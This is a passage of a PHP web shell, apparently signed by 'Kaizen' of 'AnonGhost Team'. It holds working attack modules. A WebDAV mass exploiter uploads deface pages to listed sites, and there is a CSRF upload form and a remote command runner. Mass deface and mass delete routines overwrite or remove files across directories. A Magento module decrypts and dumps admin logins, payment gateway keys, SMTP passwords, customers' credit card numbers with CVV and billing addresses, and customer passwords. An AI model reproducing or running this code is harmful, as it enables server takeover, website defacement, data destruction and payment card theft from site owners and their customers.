}
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if(!isset($_POST['xploit_url'])) die;
if($_POST['xploit_url'] == '') die;
$site = $_POST['xploit_url'];
if ($site[strlen($site)-1] != "/") $site .= "/";
if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
$list['end'] = str_replace("
", "", $list['end']);
$list['front'] = str_replace("
", "", $list['front']);
$pathes = explode("
", $list['end']);
$frontpathes = explode("
", $list['front']);
show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
$verificate = 0;
foreach($pathes as $path) {
show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
}
}
preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
if(substr($site, 0, 3) == "www") $site = substr($site, 4);
foreach($frontpathes as $frontpath) {
show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
}
}
?>
<?php
}
////////////////////////////
elseif($_GET['do'] == 'ec') {
?>
<STYLE>
body,td,th {font-family: monotype corsiva;font-size:10px;color: #0080FF;font-weight: bold;}
input {BORDER-RIGHT:#0080FF 1px solid;BORDER-TOP:#0080FF 1px solid;BORDER-LEFT:#0080FF 1px solid;BORDER-BOTTOM: #0080FF 1px solid;BACKGROUND-COLOR: #111111;COLOR: #0080FF;font: 8pt Verdana;}
select {BORDER-RIGHT:#0080FF 1px solid;BORDER-TOP:#0080FF 1px solid;BORDER-LEFT:#0080FF 1px solid;BORDER-BOTTOM: #0080FF 1px solid;BACKGROUND-COLOR: #111111;COLOR: #FF0000;font: 8pt Verdana;}
submit {BORDER-RIGHT:buttonhighlight 2px outset;BORDER-TOP:buttonhighlight 2px outset;BORDER-LEFT:buttonhighlight 2px outset;BORDER-BOTTOM: buttonhighlight 2px outset;BACKGROUND-COLOR: #000099;COLOR: #FFFF00;width: 30%;}
textarea {BORDER-RIGHT:#0080FF 1px solid;BORDER-TOP:#0080FF 1px solid;BORDER-LEFT:#0080FF 1px solid;BORDER-BOTTOM: #0080FF 1px solid;BACKGROUND-COLOR: #111111;COLOR: #FF0000;font: Fixedsys bold;}
BODY {margin-top: 1px;margin-right: 1px;margin-bottom: 1px;margin-left: 1px;SCROLLBAR-FACE-COLOR: #111111; SCROLLBAR-HIGHLIGHT-COLOR: #111111;SCROLLBAR-ARROW-COLOR: #c5c5c5;SCROLLBAR-BASE-COLOR: #253546;BACKGROUND-COLOR: #000000;}
</STYLE>
<center>
<BR>
<?php
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
$text = $_POST['code'];
?>
<form method="post"><br><br><br>
<textarea class='inputz' cols=80 rows=10 name="code"></textarea><br><br>
<select class='inputz' size="1" name="ope">
<option value="urlencode">URL</option>
<option value="base64">Base64</option>
<option value="ur">Convert_uu</option>
<option value="gzinflates">Gzinflate - Base64</option>
<option value="str2">Str_rot13 - Base64</option>
<option value="gzinflate">Gzinflate - Str_rot13 - Base64</option>
<option value="str">Str_rot13 - Gzinflate - Str_rot13 - Base64</option>
<option value="url">Base64 - Gzinflate - Str_rot13 - Convert_uu - Gzinflate - Base64</option>
</select> <input class='inputzbut' type='submit' name='submit' value='Encrypt'>
<input class='inputzbut' type='submit' name='submits' value='Decrypt'>
</form>
<?php
$submit = $_POST['submit'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_encode($text);
break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
break;case 'gzinflate' : $codi=gzdeflate(str_rot13(base64_encode($text)));
break;case 'gzinflates' : $codi=base64_encode(gzdeflate($text));
break;case 'str2' : $codi=base64_encode(str_rot13($text));
break;case 'urlencode' : $codi=rawurlencode($text);
break;case 'ur' : $codi=convert_uuencode($text);
break;case 'url' : $codi=base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($text))))));
break;default:break;}}
$submit = $_POST['submits'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_decode($text);
break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
break;case 'gzinflate' : $codi=gzinflate(str_rot13(base64_decode($text)));
break;case 'gzinflates' : $codi=gzinflate(base64_decode($text));
break;case 'str2' : $codi=str_rot13(base64_decode($text));
break;case 'urlencode' : $codi=rawurldecode($text);
break;case 'ur' : $codi=convert_uudecode($text);
break;case 'url' : $codi=base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($text)))))));
break;default:break;}}
echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></center><BR><BR>';
?>
<?php
}
////////////////////////////
elseif($_GET['do'] == 'csrf') {
?> <html>
<title>CSRF EXPLOITER ONLINE</title>
<center><br><br><h2> CSRF ONLINE</h2>
<br><br>
<font color=#2EFEF7>*Note : Post File, Type : Filedata / dzupload / dzfile / dzfiles / file / ajaxfup / files[] / qqfile / userfile / etc
<center>
<form method="post">
URL: <input type="text" name="url" size="50" height="10" placeholder="http://www.target.com/[path]/upload.php" style="margin: 5px auto; padding-left: 5px;" required><br>
POST File: <input type="text" name="data" size="50" height="10" placeholder="Look up ^" style="margin: 5px auto; padding-left: 5px;" required><br>
<input type="submit" name="go" value="Lock!">
</form>
<?php
$url = $_POST['url'];
$data = $_POST['data'];
$submit = $_POST['go'];
if($submit) {
echo "<form method='post' target='_blank' action='$url' enctype='multipart/form-data'><input type='file' name='$data'><input type='submit' name='ok' value='Upload'></form";
}
?>
</form>
</html>
<?php
}
////////////////////////////
elseif($_GET['do'] == 'webdav') {
?>
<?php
# ===============================
# ===============================
# ===============================
# web version
?>
<head><title>Webdav Mass Exploiter</title></head>
<style>
body { font-family: Atma }
input, textarea { font-family: Atma }
th { background:#2EFEF7;color:#000000;padding:3px;font-family: Suez One}
</style>
<link href='http://fonts.googleapis.com/css?family=Atma' rel='stylesheet' type='text/css'/>
<link href='http://fonts.googleapis.com/css?family=Suez+One' rel='stylesheet' type='text/css'/>
<center>
<table><tr><th>Webdav Exploiter</th></tr> <tr><td><form action="" method="POST">
<textarea name="isi" style="height:100px;width:500px">http://www.target.com/</textarea><br><br>
<textarea name="isi1" style="height:100px;width:500px">Hacked By Kaizen (Your Script)</textarea><br><br>
<input type="hidden" name="site" value="list.txt">
<input type="hidden" name="file" value="x.htm">
<center><input type="submit" style="background:#2EFEF7;color:#000000;padding:3px;border:0" name="go" value="<< Execute >>"></center>
</form>
</td></tr></table>
<table> <tr><th>Result Deface</th></tr> <tr><td>
<div style="border:1px solid black;border-bottom:5px solid black; padding:3px;height:auto;width:500px">
<?php
if($_POST['go']){
$nama = "x.htm";
$isi = $_POST['isi1'];
$fp = fopen($nama,"w");
fputs($fp, $isi);
$nama = "list.txt";
$isi = $_POST['isi'];
$fp = fopen($nama,"w");
fputs($fp, $isi);
?>
<link href='http://fonts.googleapis.com/css?family=Iceland' rel='stylesheet' type='text/css'>
<?php
# Kaizen
# AnonGhost Team
# Exploiter
$sites = $_POST[site];
$file = $_POST[file];
$fp = fopen($file, "r");
$buka=fopen("$sites","r");
$filesize = filesize($file);
$size=filesize("$sites");
$baca=fread($buka,$size);
$sites = explode("
", $baca);
foreach($sites as $site){
if(preg_match("#http://#", $site)) {
$site = $site;
} else {
$site = "http://".$site;
}
$site = "$site/$file";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $site);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0");
curl_setopt($ch, CURLOPT_PUT, true);
curl_setopt($ch, CURLOPT_INFILE, $fp);
curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$exec = curl_exec($ch);
echo "$site -> ";
$su = curill($site);
if(preg_match("/hacked/i", $su)) {
echo "<font color=green>Exploit Success!!</font><br>
";
file_put_contents("webdav_shell.htm", "$site<br>", FILE_APPEND);
} else {
echo "<font color=red>Exploit Failed</font><br>
";
}
}
}
function curill($site){
$ch = curl_init ("$site");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$data3 = curl_exec ($ch);
return $data3;
}
?>
<?php
}
////////////////////////////
elseif($_GET['do'] == 'cmd') {
if($_POST['do_cmd']) {
echo "<pre>".exe($_POST['cmd'])."</pre>";
}
} elseif($_GET['do'] == 'mass_deface') {
echo "<center><form action=\"\" method=\"post\">
";
$dirr=$_POST['d_dir'];
$index = $_POST["script"];
$index = str_replace('"',"'",$index);
$index = stripslashes($index);
function edit_file($file,$index){
if (is_writable($file)) {
clear_fill($file,$index);
echo "<Span style='color:green;'><strong> [+] Mass Deface 100% Successfull </strong></span><br></center>";
}
else {
echo "<Span style='color:red;'><strong> [-] Failed Mass Deface </strong></span><br></center>";
}
}
function hapus_massal($dir,$namafile) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
if(file_exists("$dir/$namafile")) {
unlink("$dir/$namafile");
}
} elseif($dirb === '..') {
if(file_exists("".dirname($dir)."/$namafile")) {
unlink("".dirname($dir)."/$namafile");
}
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
if(file_exists($lokasi)) {
echo "[<font color=lime>DELETED</font>] $lokasi<br>";
unlink($lokasi);
$idx = hapus_massal($dirc,$namafile);
}
}
}
}
}
}
}
function clear_fill($file,$index){
if(file_exists($file)){
$handle = fopen($file,'w');
fwrite($handle,'');
fwrite($handle,$index);
fclose($handle); } }
function gass(){
global $dirr , $index ;
chdir($dirr);
$me = str_replace(dirname(__FILE__).'/','',__FILE__);
$files = scandir($dirr) ;
$notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
sort($files);
$n = 0 ;
foreach ($files as $file){
if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
edit_file($file,$index);
flush();
$n = $n +1 ;
}
}
echo "<br>";
echo "<center><br><h3>$n Success </h3></center><br>";
}
function ListFiles($dirrall) {
if($dh = opendir($dirrall)) {
$files = Array();
$inner_files = Array();
$me = str_replace(dirname(__FILE__).'/','',__FILE__);
$notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
while($file = readdir($dh)) {
if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
if(is_dir($dirrall . "/" . $file)) {
$inner_files = ListFiles($dirrall . "/" . $file);
if(is_array($inner_files)) $files = array_merge($files, $inner_files);
} else {
array_push($files, $dirrall . "/" . $file);
}
}
}
closedir($dh);
return $files;
}
}
function gass_all(){
global $index ;
$dirrall=$_POST['d_dir'];
foreach (ListFiles($dirrall) as $key=>$file){
$file = str_replace('//',"/",$file);
echo "<center><strong>$file</strong> ===>";
edit_file($file,$index);
flush();
}
$key = $key+1;
echo "<center><br><h3>$key Success </h3></center><br>"; }
function sabun_massal($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($lokasi, $isi_script);
} elseif($dirb === '..') {
file_put_contents($lokasi, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[<font color=lime>DONE</font>] $lokasi<br>";
file_put_contents($lokasi, $isi_script);
$idx = sabun_massal($dirc,$namafile,$isi_script);
}
}
}
}
}
}
if($_POST['mass'] == 'onedir') {
echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>
";
$ini="http://";
$mainpath=$_POST[d_dir];
$file=$_POST[d_file];
$dir=opendir("$mainpath");
$code=base64_encode($_POST[script]);
$indx=base64_decode($code);
while($row=readdir($dir)){
$start=@fopen("$row/$file","w+");
$finish=@fwrite($start,$indx);
if ($finish){
echo"$ini$row/$file
";
}
}
echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>
";
$mainpath=$_POST[d_dir];$file=$_POST[d_file];
$dir=opendir("$mainpath");
$code=base64_encode($_POST[script]);
$indx=base64_decode($code);
while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
$finish=@fwrite($start,$indx);
if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
}
}
elseif($_POST['mass'] == 'Mass All Dir') { gass(); }
elseif($_POST['mass'] == 'Mass Delete') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
elseif($_POST['mass'] == 'Mass Deface') { gass_all(); }
elseif($_POST['mass'] == 'massdeface') {
echo "<div style='margin: 5px auto; padding: 5px'>";
sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
echo "</div>"; }
else {
echo "
<center><font style='text-decoration: underline;'>
Select Type:<br>
</font>
<select class=\"select\" name=\"mass\" style=\"width: 450px;\" height=\"10\">
<option value=\"onedir\">Mass Deface 1 Dir</option>
<option value=\"massdeface\">Mass Deface All Dir</option>
<option value=\"Mass all dir\">Mass Deface 1 Dir</option>
<option value=\"Mass Deface\">Mass Deface</option>
<option value=\"Mass Delete\">Mass Delete Files</option></center></select><br>
<font style='text-decoration: underline;'>Folder:</font><br>
<input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
<font style='text-decoration: underline;'>Filename:</font><br>
<input type='text' name='d_file' value='Kaizen.php' style='width: 450px;' height='10'><br>
<font style='text-decoration: underline;'>Index File:</font><br>
<textarea name='script' style='width: 450px; height: 200px;'>Hacked By Kaizen</textarea><br>
<input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
</form></center>";
}
}
elseif($_GET['do'] == 'magen') {
echo'
<div id="page-wrap">
<center>
<br>
<FORM action="" method="post">
<div align="center">[M A G E N T O] - Stealing Information<br>
<div align="center">Code By Kaizen<br>
<input type="hidden" name="form_action" value="2">
</div>
</div>
';
if(file_exists($_SERVER['DOCUMENT_ROOT'].'/app/etc/local.xml')){
$xml = simplexml_load_file($_SERVER['DOCUMENT_ROOT'].'/app/etc/local.xml');
if(isset($xml->global->resources->default_setup->connection)) {
$connection = $xml->global->resources->default_setup->connection;
$prefix = $xml->global->resources->db->table_prefix;
$key = $xml->global->crypt->key; //f8cd1881e3bf20108d5f4947e60acfc1
require_once $_SERVER['DOCUMENT_ROOT'].'/app/Mage.php';
try {
$app = Mage::app('default');
Mage::getSingleton('core/session', array('name'=>'frontend'));
}catch(Exception $e) { echo 'Message: ' .$e->getMessage()."<br/>
";}
if (!mysql_connect($connection->host, $connection->username, $connection->password)){
print("Could not connect: " . mysql_error());
}
mysql_select_db($connection->dbname);
echo $connection->host."|".$connection->username."|".$connection->password."|".$connection->dbname."| $prefix | $key<br/>
";
$crypto = new Varien_Crypt_Mcrypt();
$crypto->init($key);
//=========================================================================================================
$query = mysql_query("SELECT user_id,firstname,lastname,email,username,password FROM admin_user where is_active = '1'");
if (!$query){
echo "<center><b>Failed</b></center>";
}else{
$site = mysql_fetch_array(mysql_query("SELECT value as website FROM core_config_data WHERE path='web/unsecure/base_url'"));
echo'<br><br>
====================================================================<br>
[ Admin FROM website : '.$site['website'].'] <br>
====================================================================<br>';
}
echo "
<table border='1' align='center' >
<tr>
<td>id</td>
<td>firstname</td>
<td>lastname</td>
<td>email</td>
<td>username</td>
<td>password</td>
</tr>";
while($vx = mysql_fetch_array($query)) {
$no = 1;
$user_id = $vx['user_id'];
$username = $vx['username'];
$password = $vx['password'];
$email = $vx['email'];
$firstname = $vx['firstname'];
$lastname = $vx['lastname'];
echo "<tr><pre><td>$user_id</td><td>$firstname</td><td>$lastname</td><td>$email</td><td>$username</td><td>$password</td></pre></tr>";
}
echo "</table><br>";
//=========================================================================================================
$query = mysql_query("SELECT value as user,(SELECT value FROM core_config_data where path = 'payment/authorizenet/trans_key') as pass FROM core_config_data where path = 'payment/authorizenet/login'");
if(mysql_num_rows($query) != 0){
if (!$query){
echo "<center><b>Failed</b></center>";
}else{
echo'<br><br>
====================================================================<br>
[ Authorizenet ] <br>
====================================================================<br>';
}
echo "
<table border='1' align='center' >
<tr>
<td>no</td>
<td>user</td>
<td>pass</td>
</tr>";
$no = 1;
while($vx = mysql_fetch_array($query)) {
$user = $crypto->decrypt($vx['user']);
$pass = $crypto->decrypt($vx['pass']);
echo "<tr><pre><td>$no</td><td>$user</td><td>$pass</td></pre></tr>";
$no++;
}
echo "</table><br>";
}
//=========================================================================================================
$query_smtp = mysql_query("SELECT (SELECT a.value FROM core_config_data as a WHERE path = 'system/smtpsettings/host') as host , (SELECT b.value FROM core_config_data as b WHERE path = 'system/smtpsettings/port') as port,(SELECT c.value FROM core_config_data as c WHERE path = 'system/smtpsettings/username') as user ,(SELECT d.value FROM core_config_data as d WHERE path = 'system/smtpsettings/password') as pass FROM core_config_data limit 1,1");
if(mysql_num_rows($query_smtp) != 0){
if (!$query_smtp){
echo "<center><b>Failed</b></center>";
}else{
echo'<br><br>
====================================================================<br>
[ SMTP ] <br>
====================================================================<br>';
}
echo "
<table border='1' align='center' >
<tr>
<td>no</td>
<td>host</td>
<td>port</td>
<td>user</td>
<td>pass</td>
</tr>";
$no = 1;
$batas = 0;
while($rows = mysql_fetch_array($query_smtp)) {
$smtphost = $rows[0];
$smtpport = $rows[1];
$smtpuser = $rows[2];
$smtppass = $rows[3];
echo "<tr><pre><td>$no</td><td>$smtphost</td><td>$smtpport</td><td>$smtpuser</td><td>$smtppass</td></pre></tr>";
$no++;
}
echo "</table><br>";
}
//=========================================================================================================
$query = mysql_query("SELECT sfo.updated_at,sfo.cc_owner,sfo.method,sfo.cc_number_enc,sfo.cc_cid_enc,CONCAT(sfo.cc_exp_month,' |',sfo.cc_exp_year) as exp,CONCAT(billing.firstname,' | ',billing.lastname,' | ',billing.street,' | ',billing.city,' | ', billing.region,' | ',billing.postcode,' | ',billing.country_id,' | ',billing.telephone,' |-| ',billing.email) AS 'Billing Address' FROM sales_flat_quote_payment AS sfo JOIN sales_flat_quote_address AS billing ON billing.quote_id = sfo.quote_id AND billing.address_type = 'billing'");
$query2 = mysql_query("SELECT sfo.cc_owner,sfo.method,sfo.cc_number_enc,sfo.cc_cid_status,CONCAT(sfo.cc_exp_month,'|',sfo.cc_exp_year) as exp,CONCAT(billing.firstname,' | ',billing.lastname,' | ',billing.street,' | ',billing.city,' | ', billing.region,' | ',billing.postcode,' | ',billing.country_id,' | ',billing.telephone,' | ',billing.email) AS 'Billing Address' FROM sales_flat_order_payment AS sfo JOIN sales_flat_order_address AS billing ON billing.parent_id = sfo.parent_id AND billing.address_type = 'billing' where cc_number_enc != ''");
if(mysql_num_rows($query) != 0 || mysql_num_rows($query2) != 0){
echo'<br><br>
====================================================================<br>
[ Credit Card ] <br>
====================================================================<br>';
echo "
<table border='1' align='left' >
<tr>
<td>no</td>
<td>Date</td>
<td>Credit Owner</td>
<td>method</td>
<td>Credit Number</td>
<td>Credit Exp</td>
<td>CVV</td>
<td>Address</td>
</tr>";
$no = 1;
$batas = 0;
while($vx = mysql_fetch_array($query)){
$date = $vx['updated_at'];
$cc_owner = $vx['cc_owner'];
$method = $vx['method'];
$cc_number_enc = $crypto->decrypt($vx['cc_number_enc']);
$exp = $vx['exp'];
$cc_cid_enc = $crypto->decrypt($vx['cc_cid_enc']);
$Billing_Address = $vx['Billing Address'];
echo "<tr><pre><td>$no</td><td>$date</td><td>$cc_owner</td><td>$method</td><td>$cc_number_enc</td><td>$exp</td><td>$cc_cid_enc</td><td>$Billing_Address</td></pre></tr>";
$batas = $no++;
}
while($vx2 = mysql_fetch_array($query2)){
$batas +=1;
$cc_owner = $vx2['cc_owner'];
$method = $vx2['method'];
$cc_number_enc = $crypto->decrypt($vx2['cc_number_enc']);
$exp = $vx2['exp'];
$cc_cid_status = $crypto->decrypt($vx2['cc_cid_status']);
$Billing_Address = $vx2['Billing Address'];
echo "<tr><pre><td>$batas</td><td>$cc_owner</td><td>$method</td><td>$cc_number_enc</td><td>$exp</td><td>$cc_cid_status</td><td>$Billing_Address</td></pre></tr>";
$batas++;
}
echo "</table><br>";
}
//=========================================================================================================
$query = mysql_query("SELECT email,value FROM customer_entity_varchar, customer_entity WHERE customer_entity_varchar.entity_id = customer_entity.entity_id and attribute_id=12");
$query2 = mysql_query("SELECT customer_email,password_hash FROM sales_flat_quote");
if(mysql_num_rows($query) != 0 || mysql_num_rows($query2) != 0 ){
if (!$query){
echo "<center><b>Failed</b></center>";
}else{
echo'<br><br>
====================================================================<br>
[ Customer ] <br>
====================================================================<br>';
}
echo "
<table border='1' align='center' >
<tr>
<td>no</td>
<td>user</td>
<td>pass</td>
</tr>";
$no = 1;
$batas = 0;
while($vx = mysql_fetch_array($query)) {
$user = $vx['email'];
$pass = $vx['value'];
echo "<tr><pre><td>$no</td><td>$user</td><td>$pass</td></pre></tr>";
$batas = $no++;
}
if(mysql_num_rows($query2) != 0 && ($query2)){
while($vx2 = mysql_fetch_array($query2)){
$user = $vx2['customer_email'];
$pass = $crypto->decrypt($vx2['password_hash']);
if(!empty($user) && !empty($pass)){ //tampilin ketika datanya itu ada klo gk ada ya jangan di tampilkan
$batas +=1;
echo "<tr><pre><td>$batas</td><td>$user</td><td>$pass</td></pre></tr>";
$batas++;
}
}
}
echo "</table><br>";
}
//=========================================================================================================
}
}
function save($format,$data){
$fp = fopen($format, 'a');
fwrite($fp, $data);
fclose($fp);
}
function cekbase64($string){
$decoded = base64_decode($string, true);
if (!preg_match('/^[a-zA-Z0-9\/
+]*={0,2}$/', $string)) return false;
if(!base64_decode($string, true)) return false;
if(base64_encode($decoded) != $string) return false;
return true;//nilai return 1 jika true
}
//----untuk decode password ---/
class Varien_Crypt_Mcrypt{
/**
* Constuctor
*
* @param array $data
*/
public function __construct()
{
}
/**
* Initialize mcrypt module
*
* @param string $key cipher private key
* @return Varien_Crypt_Mcrypt
*/
public function init($key)
{
$this->handler = mcrypt_module_open(MCRYPT_BLOWFISH, '', MCRYPT_MODE_ECB, '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($this->handler), MCRYPT_RAND);
$maxKeySize = mcrypt_enc_get_key_size($this->handler);
if (iconv_strlen($key, 'UTF-8')>$maxKeySize) {
//throw new Varien_Exception('Maximum key size must should be smaller '.$maxKeySize);
return null;
}
mcrypt_generic_init($this->handler, $key, $iv);
return $this;
}
/**
* Encrypt data
*
* @param string $data source string
* @return string
*/
public function encrypt($data)
{
if (!$this->handler) {
//throw new Varien_Exception('Crypt module is not initialized.');
return null;
}
if (strlen($data) == 0) {
return $data;
}
return base64_encode(mcrypt_generic($this->handler, $data));
}
/**
* Decrypt data
*
* @param string $data encrypted string
* @return string
*/
public function decrypt($data)
{
if (!$this->handler) {
//throw new Varien_Exception('Crypt module is not initialized.');
return null;
}
if (strlen($data) == 0) {
return $data;
}
return mdecrypt_generic($this->handler, base64_decode($data));
}
/**
* Desctruct cipher module
*
*/
public function __destruct()
{
if ($this->handler) {
$this->_reset();
}
}
protected function _reset()
{
mcrypt_generic_deinit($this->handler);
mcrypt_module_close($this->handler);
}
}
}
elseif($_GET['do'] == 'zip') {
echo "<center><h1>Zip Menu</h1>";
function rmdir_recursive($dir) {
foreach(scandir($dir) as $file) {
if ('.' === $file || '..' === $file) continue;
if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
else unlink("$dir/$file");
}
rmdir($dir);
}
if($_FILES["zip_file"]["name"]) {
$filename = $_FILES["zip_file"]["name"];
$source = $_FILES["zip_file"]["tmp_name"];
$type = $_FILES["zip_file"]["type"];
$name = explode(".", $filename);
$accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
foreach($accepted_types as $mime_type) {
if($mime_type == $type) {
$okay = true;
break;
}
}
$continue = strtolower($name[1]) == 'zip' ? true : false;
if(!$continue) {
$message = "Its Not Zip";
}
$path = dirname(__FILE__).'/';
$filenoext = basename ($filename, '.zip');
$filenoext = basename ($filenoext, '.ZIP');
$targetdir = $path . $filenoext;
$targetzip = $path . $filename;
if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
mkdir($targetdir, 0777);
if(move_uploaded_file($source, $targetzip)) {
$zip = new ZipArchive();
$x = $zip->open($targetzip);
if ($x === true) {
$zip->extractTo($targetdir);
$zip->close();
unlink($targetzip);
}
$message = "<b>Sukses</b>";
} else {
$message = "<b>Error</b>";
}
}
echo '<table style="width:100%" border="1">
<tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
<label>Zip File : <input type="file" name="zip_file" /></label>
<input type="submit" name="submit" value="Upload And Unzip" />
</form>';
if($message) echo "<p>$message</p>";
echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";
if($_POST['backup']){
$save=$_POST['save'];
function Zip($source, $destination)
{
if (extension_loaded('zip') === true)
{
if (file_exists($source) === true)
{
$zip = new ZipArchive();
if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
{
$source = realpath($source);
if (is_dir($source) === true)
{
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
foreach ($files as $file)
{
$file = realpath($file);
if (is_dir($file) === true)
{
$zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
}
else if (is_file($file) === true)
{
$zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
}
}
}
else if (is_file($source) === true)
{
$zip->addFromString(basename($source), file_get_contents($source));
}
}
return $zip->close();
}
}
return false;
}
Zip($_POST['dir'],$save);
echo "Done , Save To <b>$save</b>";
}
echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
if($_POST['extrak']){
$save=$_POST['save'];
$zip = new ZipArchive;
$res = $zip->open($_POST['dir']);
if ($res === TRUE) {
$zip->extractTo($save);
$zip->close();
echo 'Succes , Location : <b>'.$save.'</b>';
} else {
echo 'Failed Mass';
}
}
echo '</tr></table>';
}
elseif($_GET['do'] == 'shellchk') {
